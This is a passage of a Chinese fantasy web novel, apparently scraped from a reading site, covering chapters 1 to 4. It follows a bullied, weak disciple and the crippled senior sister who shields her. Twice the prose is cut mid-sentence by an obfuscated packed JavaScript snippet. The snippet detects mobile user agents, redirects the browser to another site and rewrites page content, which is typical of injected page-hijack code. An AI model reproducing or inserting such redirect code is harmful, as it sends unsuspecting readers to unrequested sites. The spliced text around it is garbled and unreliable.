《师姐好像要灭世》 1. 第 1 章 清晨,秋风微凉。 曦光透过将散未散的薄雾,追着翩跹似蝶的叶,落了满山橙红。 “阿,阿嚏——嚏——嚏额!!!” 突如其来那一连串喷嚏惊醒了睡梦,也惊散了窗外的鸟雀。 祈枝吸吸鼻子,抹了把泪,哼唧着将脸埋进了被窝。 她本想继续睡的,奈何脑袋晕晕的,耳朵闷闷的,鼻子又堵得难受,睡意便也就随着那喷嚏一去不返了。 窗外小院,那悬在树上的竹风铃随风轻晃,伴着秋叶簌簌,咚咚嗒嗒,错落空灵。 祈枝裹着被子坐起身来,脑袋一歪,望向风铃,一时出神。 这竹风铃是慕师姐前些日子亲手为她做的。 里头注入了些许灵力,风吹铃响,说有安神之效。 安神倒是不假,可架不住她不争气,竟是忽然生了病,闹得怎么睡都睡不安稳。 说来也怪,她都是快成年的妖了,就算灵根残损,也是努力修炼了那么些年的,身上多少有点灵力护体,怎么都不该再生病了才对。 这病来得莫名其妙,叫那些本就瞧不起她的人又多了个嘲弄她的理由。 前日她便听到了一些。 “祈师姐真是与众不同呀,我还是头一回见修行数百年还能生病的,多新鲜!” “废材就是废材,内门弟子又怎样?道尊之徒又如何?除了住处好点儿,还不是和我们一样,什么杂活都要干……” “真不懂道尊为何收她为徒。” “可不是么,这入了山的弟子,有哪个资质能比她还差?怎的就她有这狗屎运?” “小声点,别让她听见了!” “听见就听见,有什么好怕的?” 是啊,没什么好怕的。 惹到就惹到了,还能有什么后果不成? 祈枝深知,自己不过是山中最普通不过的一株小草,天生灵根残损,体内存不住灵力,就像是破了的木桶,装多少漏多少,再怎么努力都是白搭。 琼琚山天道门乃如今的仙门之首,有三尊之一的道尊坐镇山门,多少人削尖了脑袋都挤不进来,像她这种资质的却能被道尊收作弟子,这还真怨不得有人不服。 至于掌门师尊当年为何要收她为徒。 祈枝想,或许是她生来运气好,化形比较早,颇有几分来日必成大器的假象,这才害得师尊不慎看走了眼吧? 反正这数百年来师尊都对她不闻不问的,也就犯了错会和师兄师姐们一样被师尊亲自训斥惩罚这一点,勉强能证明一下她确实是道尊的弟子了。 屋门忽然吱呀轻响,唤回了愈渐行远的思绪。 祈枝扭头,循声望去,原本颓丧的眉眼顿生欢喜。 来人一袭素衣,身形纤瘦,指尖端着一碗汤药,用手肘轻推着身后的房门。 房门关拢,她抬眸看向祈枝,眼底尽是似水般的温柔。 “慕师姐!”祈枝欣然唤出声来。 病中略显沙哑的嗓音都添了几分藏不住的甜意。 慕轻时走到床边坐下,声音轻柔:“醒了。” “嗯!”祈枝点点头,把手伸出被窝,接过热气腾腾的汤药,小心翼翼捧在脸旁。 她的鼻子堵了,闻不到药味苦涩,只在汤药下肚时皱了一瞬的眉。 这药昨夜便被她捣碎放进了药铫子,本想睡前煎来喝的,奈何身子太难受,便先半死不活地瘫回了床上。 她如何也没想到,自己丢在院角的药,竟是让慕师姐大清早煎来送她嘴边了。 想到此处,祈枝不由抿紧了唇,抱着空空的药碗,怯怯抬眼,看向慕轻时的眼里多了些许尴尬。 她刚睡醒的发丝些许凌乱,略带婴儿肥的小脸微微泛着病时的红晕,尽显一副可怜巴巴的乖巧。 慕轻时接过空碗,伸手拢了拢祈枝裹身上的棉被,这才起身走至桌边将碗放下。 再回身,见缩在被窝里的小师妹一脸苦相,不由得微微勾起唇角,回到床边,指尖灵力一闪,往她手心塞了三颗饴糖。 祈枝眼前一亮,高高兴兴剥开其中一颗的糖纸,含进了嘴里抿了起来。 饴糖的甘甜淡去了汤药的苦。 “慕师姐最好了!”祈枝笑得眉眼弯弯,手指默默攥紧,缩回被窝,将另外两颗悄悄藏进了枕头底下,还不忘眨眼问上一句,“师姐今日怎么来了?” 慕轻时指尖拂过祈枝额前碎发,试探过她的体温,轻声道:“昨夜听阿云说你病了,便想着过来看看。” 祈枝闻言,向窗外看了一眼:“阿云也来了吗?” 慕轻时摇头。 祈枝收回目光,轻轻“哦”了一声。 片刻静默后,她想起了什么,从被子里伸出一只手来,没精打采地去够床尾的衣裳。 “你要起来?” 慕轻时随口问着,下意识将那衣裳捡了过来,刚要递上前去,便听得祈枝哑着嗓子应了一句:“四师兄要的草药我还没去采呢。” “……” 慕轻时略一蹙眉,递衣裳的手默默往回一缩,反手将祈枝摁回床上躺好,用被子将她捂了个严实。 “诶?”祈枝瞪大了眼。 “再有什么要忙,都要先把身子养好。” “可……” “旁人那边我去说明。”慕轻时说罢,在她鼻尖轻轻一刮,起身离去。 走前没忘叮嘱一句——好好休息。 祈枝半撑起身,望着合拢的房门张了张嘴,最后眨巴了一下眼睛,安安心心缩回被窝赖起了床。 哪怕此刻早已没了睡意,能躺着也总归是比出去忙活要舒服许多的。 屋外风吹铃响,灵光轻柔似烟,随风幽幽萦着小小的院落。 祈枝也不知自己何时睡着的,再醒已是午后。 身子好像舒服了一些,头没那么疼,鼻子也没那么堵了。 她稍稍侧身,便见桌上放着一个红木食盒,皎白的灵力将它温着——显然是师姐在她睡下后又来过一次。 祈枝眨了眨眼,钻出被窝,披上衣裳,晃晃悠悠走到桌边填饱了肚子,又爬回床上,抱住被子的一角,默默发起了呆。 半晌静默后,她翻身俯卧,伸手摸出枕下那两颗饴糖,于指尖把玩起来。 她望着其中一颗:“慕师姐……” 又奶凶奶凶地捏了捏另一颗:“旁!人!” 末了,弯眉一笑,两条小腿不自觉抬起,在半空左右晃荡起来。 琼琚山里的人也好,妖也罢,对祈枝都不怎么待见。 只有一人是例外的。 那便是今日为她撑腰之人——掌门师尊曾经最为器重的亲传弟子,天道门所有人的二师姐,慕轻时。 琼琚山中所有好吃、好玩、好用的,往往都是分不到祈枝身上的。 她只有厚着脸皮去到慕师姐那里,才能顺带着沾上那么一点点的光。 若是旁人见她想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971325|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来沾光,多是唯恐避之不及,脸上的轻蔑与嫌弃定是半点都懒得遮掩的。 但慕师姐和旁人不太一样。 祈枝感觉得到,慕师姐看向她时,眼里从来都没有轻视、嫌恶,或是对弱者的怜悯。 那双看似岑寂的眸子里,有的只是深藏在无人问津之地,旁人难以窥见的,润物细无声的柔。 自打祈枝化形记事起,便知天道门有一位传闻中的二师姐。 这位师姐天资卓绝,是整个人间仙门千百年来天资最惊人的弟子。 据说她虚岁未百已至天劫之境,曾于仙盟大会上一袭白衣立仙台,连战一日未曾拔剑,直至数十人一同围攻,方才得见她本命剑鸣声出鞘。 慕轻时,是她的名字,仙门之中无人不知无人不晓。 那时人人皆道,若非数千年前天门已断,慕轻时怕是早已飞升成仙。 不过那都是很久以前的事了。 五百年前,人间仙门与魔尊晦月那一战,慕轻时被魔气重创,灵根损毁,境界一落千丈,此生再无可能有所突破。 自那以后,这位天道门的二师姐便也彻底沉寂,终日将自己锁在琼琚山最偏僻的岁寒殿中。 都说那里曾是慕轻时为了避世清修向掌门师尊求来的清幽住所。 谁也不曾想,这样的清幽,最终会成为她自我囚困的心牢。 仙门千百年来最为耀眼的后辈,就这样成为了一个渐渐无人在意的废人。 祈枝刚拜入师门那些年,门中每个人都曾告诉过她,琼琚山上有两处地方是绝对不能去的。 一处是后山禁地。 那里有两道神力封印,分别囚困着晦月魔尊与魔神命剑,阴气极重。 另一处则是北边的岁寒殿。 那里住着那位废了灵根的二师姐,听闻人已经疯了,可怕得很。 祈枝胆小,对此深信不疑。 她天生灵根残损,再怎么努力也长进甚微,只得研究一些药理,想让自己对师门更有用一些。 起初百余年,她没少在山间四处寻药,琼琚山哪里爱开什么花,哪里又长着什么药,她都知道得一清二楚,却唯独对门人口中那两个地方避之不及。 每年秋,祈枝都会去山间一片桂花林中摇桂花。 那些桂花会被她做成桂花酱,供全师门今后一年的使用。 她在山中是那么的不起眼,甚至有时她都觉得自己在旁人眼中似乎有点碍眼,也只有每年这个时候,她才会得到一些随口的夸赞。 所以她干起这件事来,总是比做别的事情要开心一些。 有一次,她如往年一般,带着借来的乾坤袋,于山林间跑跑跳跳,踩着一地飘落的碎金,摇着一棵又一棵的桂花。 林间浓郁的花香,伴着她亲手摇落的花瓣,似雪般落了一身。 她摇得开心,扭头却撞上了一双深邃如星的眼瞳。 那一刻,她停了手,偏却拂过一阵山风,吹得落花翩跹。 她望着那人,好似隔着一抹薄雾轻烟,窥见一抹水中孤月。 皎洁、易碎,却又柔和得让人止不住想要靠近。 她张了张嘴,歪头怯怯开口:“我入师门已有百年,从未见到过你……你,你是?” “慕轻时。” 那人轻声应着,低眉接下两瓣落桂,唇角勾起一抹温柔的笑。 衣袂翩然间,风静花坠。 只那一瞬,便叫她再挪不开眼。 2. 第 2 章 祈枝永远忘不了与慕轻时初遇的那一日。 她不过就是入山摇个桂花,竟是遇上了天道门中人人唯恐避之不及的存在,这无疑让她在回神之时吓了一跳。 她低头看着一地残花,双手于身前不知所措地揉搓着,心虚得好似犯了什么错。 此处十分清寂,平日里没人会来,慕轻时只是自缚岁寒殿,又没被掌门师尊禁足,实在憋闷了来此散散心也是正常的。 方才她动静应该不小,怕是扰了这位师姐的清净。 想到此处,祈枝眼睫又压低几分,就连大气都不敢出上一声。 慕轻时轻声问她,要这桂花可有什么用处。 她止不住声音微颤,低低应道:“要,要做桂花酱……是,是供师门用的。” 慕轻时默然,凝视祈枝半晌,掌心忽然幻出一柄长剑。 “我错了!我错了!!!” 祈枝本能地闭眼抱头,脖子一缩就是一通无比熟练的求饶。 长剑出鞘而鸣,预料中的“惩罚”却并没有到来。 “……” 祈枝等了数秒,不由眯开双眼,透过指缝往外看了一眼。 只见那长剑凌空,聚风而旋,于这桂花林间掀起漫天花雨。 二师姐这是…… 在帮她吗? 祈枝双手缓缓放下,难以置信地望着眼前的一切。 花雨随风,纷纷扬扬落了一地,也沾了满身。 直到长剑归鞘,她对上了慕轻时的双眼。 那是祈枝第一次从旁人望向自己的目光中,看到这般轻柔的笑。 笑意很浅,她却看愣了神。 那一日,是慕轻时陪她一点一点拢起了林间满地的落桂。 她说她拜入师门许久,不止一次听闻慕师姐的名号,这还是第一次见到。 从前她总以为慕师姐会很难相处,今日才发现不是的。 她说她每年都会来这里收集桂花,不止用来做桂花酱,还会做上几坛桂花酿,埋树下藏着,等到了一些有意义日子,就挖出来自己偷偷喝。 她说自己修为低微,往年那样一棵树一棵树的摇,想要收集到足够的桂花,差不多要三天时间。 这一次有慕师姐帮忙,竟然那么快就收集够了! 她笑着说个不停,慕轻时便也笑着在听,眼底没有半分不耐。 祈枝对此感到不可思议。 琼琚山里,除了那些还没修成人形的弱小妖灵,还从来都没有谁会耐着性子听她说那么多话。 慕轻时是第一个,百余年来,唯一的那一个。 日照西斜时,乾坤袋被装得满满当当。 祈枝知道,自己是时候回去了。 可告别之时,她的心底却生出了一丝从未有过的不舍。 天空是一片橙红,落日照着她的脚步犹犹豫豫。 她不自觉回身遥遥望了一眼。 那渐行渐远的一抹柔白是那么单薄,单薄得好像轻轻一阵晚风,便能从这世间无声拂去。 微微秋寒,牵着她的心念倏然一动。 ——她好像应该是要抓住她的。 “慕师姐!”她忍不住大声呼喊。 慕轻时脚下一顿,缓缓回眸。 “多谢师姐今日帮我!”祈枝深吸了口气,按捺住快要疯掉的心跳,双手合在嘴边,“我叫祈枝!道尊门下第十一个弟子!” “等桂花酿好了,我可以去岁寒殿找你吗?”她大声问着,眼底满是期待,“我想送师姐一些,以作答谢!” 她看不清慕轻时的表情,只在短暂静默后,听见了一声清亮的:“好啊!” “那师姐等我啊!” 祈枝顿时笑开了花,用力挥了挥胳膊,转身向山下跑去,步子轻快得像只小兔子。 原来她入山后听过那些传闻都并非属实。 这位传闻中毁了灵根,自缚于岁寒殿百年有余,就连脑子都已经不太正常的二师姐,其实是一位很好很好的师姐。 生得好看,待人温和,就算灵根被毁,看上去也还是十分厉害的。 这世间之事,总是如此。 人人都那么说的话,却又往往都做不得准。 或许,这位二师姐在旁人眼中,不过就是一个从高处跌落,彻底失了心气的废人。 因为随便怎么说都不用付出任何代价,所以谁都可以随意编排那么几句。 就像她似的,再怎么谨小慎微,也总是会被有心之人寻到错处,谁是谁非都由不得她来分辩。 祈枝想,她胆子还是太小了。 若是她的胆子能大一些,便可以早些遇见这么好的慕师姐了! 那日偶遇后,祈枝心中多了一份念想。 她希望今年的桂花酿能好得快一些。 山中岁月分明很快,她却好像等了很久。 秋叶落了满山,她将自己那点小心思写上落叶,又埋入落叶。 转眼,秋去冬来,琼琚山下了一场小雪。 满地的白,都不似心中那一抹,害她心中更添几分迫切。 等到第二场冬雪来时,祈枝的桂花酿终于好了。 慕师姐可还记得三个多月前的约定? 当日她不过随口一问,师姐也是随口一应,时间过去了那么久,也不知自己此刻前去是否略显冒昧…… 祈枝摇了摇头,深吸一口长气,告诉自己——当初敢问,今日便要敢去啊! 于是她鼓起勇气,抱着两小坛,带着满心期待与忐忑,在山间妖灵的指引下找到了岁寒殿。 岁寒殿外的白梅开得正盛,可积雪压弯了梅枝。 四周一片空寂,仿若无人居住。 只有一只白首灰背的小鸟立在树梢,歪着一颗小脑袋,静静地凝视着她。 祈枝看得出来,这鸟儿开了灵智,和她一样,都是妖精。 “请问……慕师姐在这里吗?”她小声询问着。 小鸟把头歪到了另一边。 祈枝想了想,从佩囊里取出一把晒干了的小红果子,捧在掌心,朝那枝头高高举起:“你吃这个吗?” 鸟儿在树梢上跺了跺脚,扑扇着翅膀飞落到她的指尖,低头啄了两颗。 末了,它拍拍翅膀,向岁寒殿内飞去。 祈枝连忙跟在了小鸟身后,目光不自觉四下打量着。 道尊的弟子都有自己的住所,哪位弟子越受器重,住得自然也就越好一些。 岁寒殿位于山北之巅,孤寒清幽,但大也是真的大。 就她那个小院子,连这里十分之一都比不上。 祈枝这般想着,没多会儿便被那小鸟带到了慕轻时的面前。 来这之前,她本还心存不安,此刻再次相见,心中那些不安便都随风散了去。 慕轻时欣然收了她的桂花酿,望着她的眼睛轻笑道:“我还以为你忘了。” 祈枝闻言,心间一暖:“师姐都没忘,我怎么能忘!” 她们好像本就该是一路人,随口一句承诺,分明都记在心里,却又早早做好了对方已经忘记的准备。仿佛这世间的所有,理应都是自己配不上的。 可她和慕师姐就是遇上彼此了。 她们坐在窗边,对着那片白茫茫的天地,同饮着新酿好的淡酒。 微不足道的她,说着微不足道的话。 而慕轻时一如初遇时那样,认真听着她的每一句话。 那些在别处无人在意的心思,似都能在这里被好好收纳。 这是她从前做梦都不敢妄想得到的温柔。 如果可以,她想要靠得再近一点。 所以自那日起,祈枝便总寻着各种借口往岁寒殿去。 次数多了,慕轻时便总会提前备些好吃的,一边喂给她,一边与她闲聊。 她也不知自己哪来的勇气,竟开始向这位二师姐抱怨起很多事情。 她说,同为道尊亲收的弟子,她和旁的师兄师姐就是不一样。 大师兄和三师姐离山已久,护佑着人族皇室,备受尊崇。 每每回到琼琚山,都是人挤人的围着看,她连上去攀句话都不配。 四师兄呢,是所有师兄里最讨厌她的。 平日里眼不见为净还好,一旦遇上她,总要说上几句难听的话才开心。 六师姐潜心修行,平日里待她冷淡,好在也没什么恶意,已经算是比较好的了。 至于其他人嘛,几乎都和四师兄是一路的,连带着那些外门弟子都特别看不起她,到后来谁都敢对她颐指气使的。 说到底就是觉得她不配嘛。 所以,她再怎么努力,都没办法融入他们。 祈枝说着,捏紧了手里的果子,声音忽然小小的。 她告诉慕轻时,有时她也会想,要是当初道尊没有收她为徒,她有没有可能在这琼琚山中过得好一点? 慕轻时静静听着,眸光一时明灭不定,默然半晌,轻轻摸了摸她的头。 祈枝心里的委屈在那一刻涌了上来。 原来她不是没有怨,只是不敢怨。 琼琚山那么大,却没有一个人容得下她心里那点小委屈。 因为她没有实力还“抢”了别人梦寐以求的东西,所以她必须是乖顺的,是人人可欺的,好像这一切都本该如此。 只有这里不一样,只有慕师姐不一样。 要不是遇见了慕轻时,祈枝不会知道,原来和一个人相处是可以不用委屈自己的。 山中岁月悠长,但对祈枝而言,终于不再难捱。 她愈发笃定,在慕轻时面前,她是可以毫无顾忌地说任何话,做任何事的。 所以她也愈发喜欢去岁寒殿找慕轻时。 不知不觉间,她与慕轻时说了不少人的坏话,说自己受过的欺负,听过的恶语,还有来自一些素未谋面之人的恶意。 诚然在背后说人坏话不是什么好事,可她不是无凭无据,那些人也没有清清白白。 反正慕师姐说了,这些都是她们之间的秘密,旁人是不会知道的,往后她有什么想说的,都无需再像从前那样憋在心里。 对啦,那只白首灰背的小鸟叫阿云,是慕轻时养大的灵兽。 这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971326|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘密它也都是知道的。 为了讨好它,她给它带过不少果子,所以它也是会替她保守秘密的! 只不过,两个灵根残损之人来往得愈渐频繁,日子久了,难免添些闲言碎语。 四师兄听闻自己这废材小师妹近日总爱往岁寒殿跑,一时心生好奇,也带着些许薄礼往那边去了一趟,结果吃了一个闭门羹,气得阴阳怪气说了许多难听的话语。 说什么灵根都废了,摆架子给谁看?叫她一声二师姐,还真把自己当个人物! 还有什么废物与废材就是合得来,当真是物以类聚,人以群分。 别的人听见了,便也跟着一同议论。 但祈枝已经完全不在意这些了。 慕轻时的出现,把那个总是灰扑扑的她给点亮了,她再也不想去费劲讨好那些仿佛永远都无法讨好的人了。 她期待着每一个能够抽出空来,寻到一个理由去岁寒殿的日子。 那有独属于她一个人的偏爱。 哪怕她知道,她并没有抓到救命的稻草,在这琼琚山里,确实有人愿意听她诉说心事了,但仍旧没有谁会在她受到委屈的时候为她撑腰做主。 她明白自己不值得,她所感受到的那些偏爱,其实离了岁寒殿也就不复存在了。 可即便如此,她还是忍不住想去见慕轻时。 仿佛冥冥中有什么力量,一直将她往那幽寒之地拖拽着。 有时她自己都觉得这样有些病态了。 她不禁开始思考,这一切是否有哪里是不太对劲的。 可她什么都想不出来,所以选择了一切照旧。 直到有一日,四师兄不知从哪儿弄来一块出山的玉牌,要祈枝帮忙替他下山做一趟采买。 门中采买之事,想来都是由专门弟子去做的,祈枝对此一窍不通,一时愣在原地,不敢答应,也不敢拒绝。 四师兄倒是难得态度亲和,说负责采买的师弟近日不在,门中不少东西都快用完了,师尊便让他跑一趟。 可他近日修炼颇为有感触,也不知是不是快突破了,实在不想浪费时间走这一趟,横竖祈枝都是不怎么修炼的,便想着将这活儿交给她,等她回来了定会给她个法宝做报酬。 他说罢,也没等祈枝考虑,就把出山的玉牌和一个乾坤袋塞进了她的手里。 “可……” “可什么可,师兄有忙你都不帮?” 祈枝哪敢说不,攥着玉牌和乾坤袋欲言又止了半天,最后小声问了一句:“要,要怎么采买啊。” 从有记忆起,她就没离开过琼琚山哪怕半步。 “你就下山,一直往南走,去?青石镇,看见什么常用的都带回来点就行。” “啊。” “啊什么啊?”四师兄皱眉不耐烦,“还要我给你写下来吗?” 祈枝哪敢继续追问,当即带着玉牌和乾坤袋下了山。 可她刚离山没两个时辰,便被戒律堂的木长老带人抓了回去。 戒律堂内,四师兄指着她的鼻子,说她惯爱偷懒贪玩,这次偷走他的玉牌定是想要下山去玩。 六师姐站在一旁听了半天,忽而淡淡说了一句:“小十一也是能耐了,竟能从四师兄身上偷到东西,也不知用了什么法子。” 四师兄脸色难看了一瞬,皱眉道:“我也想知道,你看她敢说吗?” 祈枝抿了抿唇,没为自己辩解。 她知道,四师兄在二师姐那吃了闭门羹,心里不舒服,总是要讨回去的。 既是有备而来,该想的说辞应该都想好了,以她在门中的处境,就算说实话也没人会信,到时候只要一句“污蔑师兄”,她便只会罪加一等。 山中弟子未得准许不得下山,木长老皱眉叹了一声,罚她在戒律堂外禁食长跪三日。 又是冬日,又是那一年的第二场雪。 祈枝跪在戒律堂外,心里想的是她的桂花酿应是快好了。 等这三天过去,希望还有力气把酒送去岁寒殿。 那一日的风雪好大,她咬着下唇,努力不让自己哭出来。 起初四周还有几个弟子围观,积雪不知何时没过了膝盖,她修为低微,不足以抵御这样的风寒,冻得险些失了意识。 忽有一阵暖流将她轻轻笼起。 祈枝抬眼望去,慕轻时带着一把伞,为她遮住了头顶的风雪。 “师姐……” “我都听阿云说了。” 祈枝小声又执拗地解释起来:“我没有偷四师兄的东西,是他要我帮忙下山采买的。” 谁都可以误会她,慕师姐不可以。 “我知道。”慕轻时俯身为她抹去了脸上凝结的霜,眼底藏着心疼,“不怕,我陪着你,往后再不让旁人欺负你了。” 祈枝愣了一下,终是忍不住哭出声来。 她没想过慕轻时会来。 天道门自缚多年的二师姐,为一个犯了错的师妹出了岁寒殿,必定是要引来许多闲言碎语的。 可慕轻时还是来了。 那是祈枝第一次知道,原来,她也可以值得。 3. 第 3 章 领罚的第二日,祈枝跪得膝盖生疼,肚子也咕咕叫着。 慕轻时为她撑了一夜的伞,天色将明未明,她只眯了一瞬的眼,再惊醒身侧便已是空无一人。 小小的失落在心底如涟漪般荡开,仅一瞬便又消散无影。 就好像一切本该如此,她只是不小心生出了太多虚妄。 约莫午时,雪停了,戒律堂外不时有弟子路过,神色多是冷漠。 祈枝低着头,身体冻得僵硬,几乎快要没了知觉。 隐约间,她听见远方似是起了一阵争执,竖着耳朵听了一会儿,被风闹得什么也没听清,干脆闭上了眼。 也不知过了多久,意识渐渐模糊之时,有人轻轻拉了一下她的胳膊。 祈枝瞬间惊醒,抬头只见慕轻时正试图将她扶起。 她不自觉打了一个寒颤,张了张干裂的嘴,声音低哑而又颤抖:“要,要三天……” 慕轻时皱眉,用力将人从地上拉了起来,祈枝一个没有站稳,踉跄着倒在了她的怀中,又连忙站直了冰块似的身子。 木长老自身后来,与她们擦身而过,面色铁青。 祈枝吓了一跳,本能地想要重新跪下,慕轻时却将她扶得很稳,说是钳住也不为过。 回神之时,四师兄刚一瘸一拐走至她身侧,表情恨恨地瞪了她一眼。 “算你厉害。”他话里带着几分怒意。 祈枝缩了缩脖子,下意识往慕轻时身上靠了些许。 “跪下!”木长老一声怒喝,四师兄便低头跪了下去。 祈枝不由瞪大双眼,望向他的目光里多了几分“你也有今天”的诧异。 下一秒,四师兄瞪了她一眼,她忙将目光挪向了别处。 “叶无拘,你构陷同门,拙劣不堪!今日罚你在此长跪,服是不服?” “服!”四师兄闷声说着,语气里满是不服。 木长老深吸一口长气,闭目叹道:“念你有伤在身,又持悔过之心,且跪一日吧。下不为例。” 围观的弟子小声议论着什么,木长老余光瞥了祈枝一眼,淡淡说道:“昨日是我罚错你了,回去吧。” 明晃晃的偏心,一整日的错罚,在他口中如此轻描淡写。 “多谢木长老明鉴。”她还得谢谢他呢,老不死的。 “我送你回去。”慕轻时说着,目光扫了四周一眼,扶着祈枝转身离去。 回去的路上,祈枝想了许多有的没的,想到最后只剩下了一个问题。 好饿,好困,回去后是该吃了再睡,还是睡了再吃? 事实证明,她想太多了,回去后的她刚一沾被窝就不受控地两眼一闭,彻底睡死了过去。 等到再次醒来,慕轻时已经不在,桌上放了一碗灵力温着的姜茶与蔬菜瘦肉粥。 她摸了摸扁扁的肚皮,下床吃了顿饭,又软趴趴地躺回了床上。 四师兄受罚的事没几日就在山里传遍了。 祈枝也是听旁人说的,那日天刚亮,二师姐便找上了四师兄。 她与这位师弟百年未见,重逢第一面便要与之比试一番,比试地选在外门弟子晨练之处。 众目睽睽下,二师姐灵力未用多少,剑都不曾出鞘,便将四师兄打得口吐鲜血,腿都差点断了。 那一刻,众人只见二师姐的剑鞘抵着四师兄的眉心,她左手半抬,指尖燃起一抹幽香。 香气丝丝缕缕,随着一缕灵光将他萦绕其中,只一瞬便令他目光呆滞,瞳孔放大。 “说。”二师姐目光凌厉,“玉牌是怎么回事?” “是我给那个小废材的,我想看她受罚,骗她下山替我采买,再找戒律堂将她抓回。” “为何如此?” “她和你,一个天生灵根残损,一个后天灵根被毁,不过就是废材攀上了废物,我就是让她明白,别以为天天往岁寒殿去就等于有了靠山。” 四周弟子闻言,纷纷交头接耳,神色无不复杂。 二师姐勾起嘴角,揉灭了指尖那一节香。 四师兄顿时清醒过来,气得声音都在发抖:“你对我用真言香!” “用了又如何?”二师姐说罢,收剑负于身后,冷冷看着地上之人,“师弟说得没错,我此生是再无可能突破,但师弟百年来似也无甚长进。修为如此,心性亦是如此。” “你……” “方才那番话,这么多人都听到了,师弟的腿若还能动弹,便随我去一趟戒律堂吧。” 听人说,二师姐说这话时的语气淡漠得很,四师兄气得一张脸又红又白,偏偏打又打不过,还被人抓住了把柄,那叫是一个敢怒不敢言。 在祈枝的记忆里,似乎就是从那一次起,她的日子变得好过了许多。 四百年似是一个转瞬,却又比想象中要漫长一点。 不知不觉,岁寒殿好像成为了她第二个家,无论山间生了多少风言风语,她都只要一得空便会往那儿跑。 岁寒殿的白梅树上,被小刀刻了几道痕。 那是她一点一点长高时,慕轻时为她刻下的印记。 除了个子,她好像还变了很多。 就好比,四师兄如今是不敢轻易开罪她了,但时不时撞上了还是会忍不住呛声。 “小废物今儿又去岁寒殿呢?” “练的什么剑法?二师姐教你的?练得明白吗你?” “做了什么吃的呀,天天一门心思想要讨好岁寒殿那位,想她护你一辈子啊?” 也不知是从哪一次起,祈枝不再忍耐,每每听见那阴阳怪气的声音,都会倔强地把话呛回去。 “我做什么,是我喜欢,用不着师兄操心!” “师兄修为停滞已久,有闲心盯着我这小废物,倒不如多多修炼,说不定还能早日突破瓶颈呢!” 起初祈枝还会担心四师兄不会让她好过,后来发现那家伙根本就是个欺软怕硬的,吃过一次亏就只敢和她动动嘴皮子了,回怼的话便也越来越不客气。 不止对四师兄,对其他总挑她刺儿的人也是如此。 祈枝多少有些飘飘然了,愈发习惯仗着一个人的偏爱为所欲为,总觉得不管自己闯下什么祸来,慕轻时都会护着她的。 当然啦,她也没想闯什么祸,所谓为所欲为,也不过就是试着在这琼琚山中,好好当一个正正常常不被欺凌的天道门弟子罢 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秋风又将老树拂过几轮,窗外小院,那挂竹风铃的树梢之上,白首灰背的小鸟静静藏在枯叶之中。 忽而它眉纹一闪,当即闭上双眼。 “不用守着了,去一趟暮雪谷。” 小鸟闻言,拍拍翅膀,追着落日飞去。 * 几日后,一场病散,祈枝第一时间跑去了岁寒殿。 近日正是摘桂花的好日子,每年到了这个时候,她都会拉着慕轻时陪自己去初遇的那片桂花林收集好多好多的桂花。 无论过去多少年,剑风卷着漫天花雨落下的那一幕,都是她在琼琚山上最喜欢的风景。 那把剑名为“春生”,是慕轻时拜入山门便一直带在身侧的本命剑。 都说本命剑皆以血结契,连结三魂七魄,通灵共感,是剑主生命的一部分,若非剑主准许,轻易碰触不得。 这把春生,旁人见它出鞘一次都难,祈枝却是一向碰得也唤得。 ——慕师姐对她应是有些情意的吧? 每每轻抚过刚“干完活”的春生,感受着那冰凉剑身上的轻颤,祈枝都会这般暗暗想上一次。 末了,长剑归鞘,她便又会将自己那点心思藏了起来,待到一同捡完桂花,再与慕轻时挥手道别。 可是独自一人回去的路总是特别的长。 其实不只是这条路长,随着认识慕轻时的年岁越长,祈枝越就觉得岁寒殿离她也好远好远。 她想,要是她能住过去就好了,可她没有什么住过去的理由。 都说两情相悦的人可以结为道侣,有了这层关系,便能正大光明一起吃住,一同双修,再也不会被人说三道四。 但是只有长大了才能结为道侣。 长大好慢好慢,她等了好久好久。 今年冬末,她就五百岁了。 五百岁对妖精而言便算是成年了。 到那时,她想亲口问问慕轻时。 ——我已经长大了,师姐……愿意与我结为道侣吗? 4. 第 4 章 祈枝做了一个梦。 梦里,琼琚山一片银白,她捧着两坛新酒,想找慕师姐说出这几百年来心中所念。 可去岁寒殿的路好远好远,比她记忆中走过的每一次都要更远。 阿云飞在前头,她追过黑夜,追至天明。 红日初升,天光落下,天地都似染了一层薄红。 她的脚步深深浅浅,好像耗尽全部力气也无法抵达。 有那么一瞬,她想,算了罢。 没有什么是非要得到的,那么累,那么远,还是回家睡觉吧。 梦醒时,窗外风铃正轻响着。 不大的屋子里摆满了大大小小的罐子,糖渍中的桂花自罐中散发出淡而清甜的花香。 祈枝翻了个身,扯过被子蒙住了头,闭上眼想继续睡,却又已经睡不着了。 被窝里又闷又暖,她睁开眼沉思了一会儿,忍不住瘪了瘪嘴。 “祈枝,你就这点毅力……” 连条路都走不完,要怎么和慕师姐在一起呢? 她这般想着,呼了一口长气,从床上弹坐起来,穿上衣物,进了院子。 院内老树上的叶子快要被风吹秃了,只剩一串风铃咚咚哒哒,看上去略显冷清。 祈枝吹着凉风,抱臂打了一个大大的哈欠,抹掉一把泪后正要取水洗漱,却在打开水缸时愣了一下——水缸又见底了。 她抿唇默默合上缸盖,提起俩木桶,便朝着山间小河走了去。 小河说远不远,说近不也近,但每次要走三个来回才能将水缸填满,跑起来多少有些费劲。 祈枝第二次拎着俩满满当当的大水桶回来时,一个熟悉的身影正在院中徘徊。 “九师姐?” 